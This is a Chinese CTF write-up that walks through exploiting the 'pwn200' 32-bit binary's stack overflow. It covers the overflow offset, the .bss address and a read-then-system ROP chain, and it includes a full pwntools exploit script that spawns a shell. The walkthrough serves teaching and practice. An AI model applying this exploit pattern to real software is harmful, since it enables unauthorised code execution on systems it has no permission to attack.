欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

pwn学习系列--任务4 pwn200

程序员文章站 2024-01-20 09:49:52
...

栈溢出之pwn200解题步骤

主要涉及到Ret2libc–修改返回地址,让其指向内存中已有的某个函数,以及初步构造rop( Return Oriented Programming )

思路分析:有read函数,变量buf大小为0x68,read可写入0x100,可知有栈溢出。题目中只给出system函数,没有给出"/bin/sh",所以要自己通过read函数写入"/bin/sh",然后返回调用system函数。

0x01 查看题目信息,可知文件是32位
pwn学习系列--任务4 pwn200
0x02 checksec 检查可执行文件属性

gdb pwn200
checksec

pwn学习系列--任务4 pwn200
可以看到pwn200没有开启各种保护,RELRO为” Partial”,对GOT表具有写权限。

补充一下checksec相关知识:
1.canary,栈保护功能
2.fortify,判断程序哪些buffer会存在可能的溢出
3.nx,将数据所在内存页标识为不可执行
4.pie(aslr),内存地址随机化机制
5.relro,设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号
具体的可看下面链接
https://blog.csdn.net/Kelly_Young/article/details/82791248)
https://blog.csdn.net/axiejundong/article/details/73065023

0x03 ida静态分析

首先F5键对main函数反编译 ,并查看buf和read函数,变量buf大小为0x68,read可写入0x100。
pwn学习系列--任务4 pwn200
0x04 查找溢出点

gdb中执行以下命令,并copy刚生成的200个字符,run后paste

pattern create 200
r

pwn学习系列--任务4 pwn200
查看到溢出点位置0x41384141,并算出需要填充padding大小为112(0x70)

pattern offset 0x41384141

pwn学习系列--任务4 pwn200
0x05 利用read函数写入"/bin/sh",调用system()

问题1:将‘/bin/sh’写到那里?
linux程序执行时,能够分为下面几个内存段:
①bss段
通常指用来存放程序中未初始化的全局变量和静态变量的一块内存区域,可读写的,在程序执行之前BSS段会自动清0。
②data段
该段用于存储初始化的全局变量,初始化为0的全局变量出于编译优化的策略被保存在BSS段。
③ro段
常量区,用于存放常量数据
④text段
用于存放程序代码的
⑤stack段
栈段,常说的堆栈段之中的一个,由系统负责申请释放
⑥heap段
俗称的堆,由用户申请和释放。申请时至少分配虚存,当真正存储数据时才分配对应的实存,释放时也并不是马上释放实存,而是可能被反复利用。

问题2:bss段地址多少?
用命令readelf -a filename | grep bss查看

readelf -a pwn200 | grep bss

pwn学习系列--任务4 pwn200
得到bss地址为0x0804a040

问题3:如何利用read函数将"/bin/sh"写入bss段?写入后返回到那里?

补充知识点1,read函数有三个参数,第一个指向要写入的文件,第二个是数据写入到那里的位置,第三个是写入数据的大小。

补充知识点2,linux采用延迟绑定技术,程序加载时会生成一个plt表和got表,got表中存的是库函数真实地址的映射,函数执行时会跳转到真正的地址上去,plt表是linux为了提升运行效率而产生的一个表,通过这个表,就可以link到got表,进而执行函数。其实有点c语言里面指针的感觉。下图有助于理解:
pwn学习系列--任务4 pwn200

写入后返回到system函数的plt地址,从而执行system("/bin/sh"),利用elf格式文件可以获取函数plt地址,例如:

elf.symbols['system']
elf.plt['read']

利用read函数写入"/bin/sh"的重点是构造这个payload模块:

padding1 + address of read + address of system + p32(0)+p32(addr_bss)+p32(10)

其中,address of system为read函数调用完后的返回地址,p32(0),p32(addr_bss),p32(10)为传给read函数的三个参数,p32(addr_bss)将存入"/bin/sh\x00"。

更多有关payload构造原理,可以参考长亭技术的详解
https://zhuanlan.zhihu.com/p/25816426#

这里具体构造如下:

offset=0x70
addr_bss=0x0804a040

payload = offset * 'a'
payload += p32(elf.plt['read'])
payload += p32(elf.symbols['system'])
payload += p32(0)
payload += p32(addr_bss)
payload += p32(10)

将"/bin/sh\x00"写入后,程序跳转执行system()函数,此时需要传入参数"/bin/sh\x00"才能执行system("/bin/sh"),所以要构造一个pay:

pay = p32(0xdeadbeef)
pay += p32(addr_bss)

0xdeadbeef表示system执行完后的返回地址,这里随便造一个。

0x06 完整的exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
elf = ELF('./pwn200')
p = process('./pwn200')

offset=0x70
addr_bss=0x0804a040

payload = offset * 'a'
payload += p32(elf.plt['read'])
payload += p32(elf.symbols['system'])
payload += p32(0)
payload += p32(addr_bss)
payload += p32(10)

pay = p32(0xdeadbeef)
pay += p32(addr_bss)

p.recvuntil("ci try\n") #这个不能少
p.send(payload)
p.send('/bin/sh\x00')   #注入bin/sh/到bss段
sleep(2)

p.send(pay)  #发送system参数地址
p.interactive()

执行结果:
pwn学习系列--任务4 pwn200
pwn学习系列--任务4 pwn200
结果显示拿到shell,要学习的知识有很多,努力!
贴一个栈溢出相关的链接,看完应该有所帮助
https://blog.csdn.net/qq_42192672/article/details/83023746